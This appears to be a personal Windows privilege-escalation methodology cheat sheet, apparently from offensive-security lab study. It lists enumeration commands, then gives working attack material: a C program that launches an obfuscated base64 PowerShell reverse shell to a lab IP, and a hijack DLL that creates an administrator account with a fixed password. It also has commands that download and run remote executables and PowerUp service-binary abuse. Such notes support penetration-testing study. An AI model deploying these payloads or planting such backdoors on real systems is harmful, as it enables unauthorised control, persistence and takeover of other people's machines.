Windows PE Methodology

Windows - Privilege Escalation - Internal All The Thingsswisskyrepo.github.io

Information to Look Out for

1. Username and hostname

2. Group memberships of the current user

3. Existing users and groups

4. Operating system, version and architecture

5. Network information

6. Installed application

7. Running processes

User Information

Current User

whoami

Groups that the Current User is in

whoami /groups

User Privilege Token

Abusing Tokens - HackTricksbook.hacktricks.xyz

Some Tokens that are not on the list:

• SeManageVolumePrivilege ( SeManageVolumePrivilege)

• SeMachineAccountPrivilege

whoami /priv

Obtain a list of all local users

Get-LocalUser

Obtain a list of all local group

Get-LocalGroup

or

net localgroup

Obtain a list of member in the Local Group

Get-LocalGroupMember <GROUP NAME>

System Information

Get system information

systeminfo

Get all network interfaces

ipconfig /all

Get routing table

route print

Display all active network connections

netstat -ano

Get all installed 32-bit applications

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

or

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"

Get all installed 64-bit applications

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

or

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*"

Get all process that is currently running

Get-Process

Get-Process | Select ProcessName, Path

File Search in Machine

Search for file in Windows

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Searching for documents with specific extensions

Get-ChildItem -Path <PATH> -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini,*.kdbx -File -Recurse -ErrorAction SilentlyContinue

Command history

Obtain history of commands executed

Get-History

Obtain history of command executed recorded by PSReadline

(Get-PSReadlineOption).HistorySavePath

Runas command

runas /user:<username> cmd

Download files from external web server

Download File

iwr -uri http://192.168.45.211/adduser.exe -Outfile adduser.exe

Service binary Hijacking

List all services running

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Get the Access Control List (ACL)

icacls <PATH>

or

Get-ACL <PATH>

C Code Reverse Shell

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOAA1ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=");
  
  return 0;
}

Compiling C Code

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_32

Restarting Machine

shutdown /r /t 0

DLL Hijacking

Get PATH variable

$env:path

Get all the environment variable

dir env:

List all services running

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Procmon from Sysinternal Suite require administrator rights

DLL Code

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Compiling DLL

x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

Unquoted Service Path Attack

Finding Unquoted Service Path

wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

or

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

or

powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService

Exploiting Unquoted Service Path

Using PowerUp.ps1,

Write-ServiceBinary -Name <SERVICE NAME> -Path <PATH TO INJECT>

Task Scheduler

List all scheduled tasks

schtasks /query /fo LIST /v

Service Commands

Start Service

Start-Service <SERVICE NAME>

Stop Service

Stop-Service <SERVICE NAME>

Restarting Service

Restart-Service <SERVICE NAME>

SeImpersonatePrivilege

Ensure that the user have this privilege enabled.

GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to SystemGitHub

GitHub - bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc.GitHub

GitHub - BeichenDream/GodPotatoGitHub

GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"GitHub

Executing CMD commands using cmd as a command

cmd /c //192.168.45.185/test/reverse.exe
cmd /c <COMMAND>

Automated Tools

1. winPEAS (/usr/share/peass/winpeas/winPEASx64.exe)

2. Seatbelt (https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)

Tools to check for PE vector

1. PowerUp.ps1 (/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1)

/tmp equivalent in Windows machine

C:\Windows\tasks

PowerShell writing to output

YOUR_COMMAND | Out-File -FilePath <PATH TO EXPORT FILE>